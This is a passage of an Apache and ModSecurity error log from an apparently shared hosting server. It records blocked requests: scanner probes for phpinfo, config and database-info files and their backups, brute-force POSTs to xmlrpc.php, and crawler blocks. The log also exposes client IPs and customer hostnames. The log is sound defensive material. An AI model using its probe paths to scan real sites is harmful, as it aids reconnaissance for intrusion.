RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yrdyTkdrNlD40tSGhvgAAJQg"] [Sat Jun 13 18:15:41.359233 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDYvaWQ= [Sat Jun 13 18:15:41.362746 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDYvaWQ= [Sat Jun 13 18:15:41.511183 2026] [security2:error] [pid 646876:tid 647093] [client 185.177.72.9:27538] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo.php.txt"] [unique_id "ai3yrdyTkdrNlD40tSGhxAAAAFU"] [Sat Jun 13 18:15:41.597989 2026] [security2:error] [pid 646876:tid 647083] [client 172.56.168.133:25025] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yrdyTkdrNlD40tSGhxwAAAEs"] [Sat Jun 13 18:15:41.598118 2026] [security2:error] [pid 646876:tid 647083] [client 172.56.168.133:25025] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yrdyTkdrNlD40tSGhxwAAAEs"] [Sat Jun 13 18:15:41.742404 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.83:49022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:41.742756 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.83:49022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:41.772981 2026] [security2:error] [pid 648189:tid 648439] [client 185.177.72.9:27544] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info.php.save.1"] [unique_id "ai3yrVWSojQL4F7upKBV8wAAANo"] [Sat Jun 13 18:15:41.818486 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.45:32256] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:41.818958 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.45:32256] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:41.875002 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:15:41.875415 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:15:42.042701 2026] [security2:error] [pid 646876:tid 647073] [client 185.177.72.9:27548] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info.php_"] [unique_id "ai3yrtyTkdrNlD40tSGh2wAAAEE"] [Sat Jun 13 18:15:42.309361 2026] [security2:error] [pid 648189:tid 648450] [client 185.177.72.9:27560] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/_info.php"] [unique_id "ai3yrlWSojQL4F7upKBV_AAAAOQ"] [Sat Jun 13 18:15:42.357066 2026] [security2:error] [pid 648189:tid 648237] [remote 17.246.15.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yrlWSojQL4F7upKBV_QAAihA"] [Sat Jun 13 18:15:42.370404 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.68:47694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:42.370674 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.68:47694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:42.387284 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjJjL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:15:42.387770 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjJjL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:15:42.403968 2026] [security2:error] [pid 648189:tid 648289] [remote 17.241.75.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yrlWSojQL4F7upKBWAQAAmkM"] [Sat Jun 13 18:15:42.437117 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.14:45542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:42.437371 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.14:45542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:42.537955 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.16:50190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:42.538270 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.16:50190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:42.574404 2026] [security2:error] [pid 648189:tid 648386] [client 185.177.72.9:27576] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin_phpinfo.php"] [unique_id "ai3yrlWSojQL4F7upKBWDAAAAKY"] [Sat Jun 13 18:15:42.709426 2026] [security2:error] [pid 646876:tid 647023] [client 114.119.158.189:61671] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "doctoraclown.org"] [uri "/"] [unique_id "ai3yrtyTkdrNlD40tSGh7wAAAA8"], referer: https://doctoraclown.org/en/about-us/ [Sat Jun 13 18:15:42.741457 2026] [security2:error] [pid 646876:tid 647067] [client 210.217.96.217:2332] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yrtyTkdrNlD40tSGh8QAAADs"] [Sat Jun 13 18:15:42.741608 2026] [security2:error] [pid 646876:tid 647067] [client 210.217.96.217:2332] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yrtyTkdrNlD40tSGh8QAAADs"] [Sat Jun 13 18:15:42.845785 2026] [security2:error] [pid 648189:tid 648401] [client 185.177.72.9:27580] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dbinfo.php"] [unique_id "ai3yrlWSojQL4F7upKBWFwAAALU"] [Sat Jun 13 18:15:42.957233 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1 [Sat Jun 13 18:15:42.957739 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1 [Sat Jun 13 18:15:43.019163 2026] [access_compat:error] [pid 648189:tid 648316] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:43.019595 2026] [access_compat:error] [pid 648189:tid 648316] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:43.069941 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.74:63156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:43.070392 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.74:63156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:43.110295 2026] [security2:error] [pid 648189:tid 648427] [client 185.177.72.9:27596] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin_info.php"] [unique_id "ai3yr1WSojQL4F7upKBWJAAAAM4"] [Sat Jun 13 18:15:43.506297 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:43.506890 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:43.541570 2026] [security2:error] [pid 646876:tid 647118] [client 185.177.72.9:14856] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config.php"] [unique_id "ai3yr9yTkdrNlD40tSGiDgAAAG4"] [Sat Jun 13 18:15:43.675116 2026] [security2:error] [pid 648189:tid 648276] [remote 17.246.15.20:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yr1WSojQL4F7upKBWNgAAtjY"] [Sat Jun 13 18:15:43.802730 2026] [security2:error] [pid 648189:tid 648387] [client 185.177.72.9:14870] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3yr1WSojQL4F7upKBWOAAAAKc"] [Sat Jun 13 18:15:43.821186 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.39:47380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:43.821536 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.39:47380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:44.012839 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9wb3dlcg== [Sat Jun 13 18:15:44.013250 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9wb3dlcg== [Sat Jun 13 18:15:44.058687 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.27:21170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:44.059125 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.27:21170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:44.070976 2026] [security2:error] [pid 648189:tid 648373] [client 185.177.72.9:14880] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo.php.bak"] [unique_id "ai3ysFWSojQL4F7upKBWRgAAAJk"] [Sat Jun 13 18:15:44.254430 2026] [security2:error] [pid 648189:tid 648294] [remote 17.241.219.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ysFWSojQL4F7upKBWTwAA0kg"] [Sat Jun 13 18:15:44.340005 2026] [security2:error] [pid 648189:tid 648395] [client 185.177.72.9:14888] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/admin_phpinfo.php4"] [unique_id "ai3ysFWSojQL4F7upKBWVAAAAK8"] [Sat Jun 13 18:15:44.419574 2026] [access_compat:error] [pid 646876:tid 647004] [remote 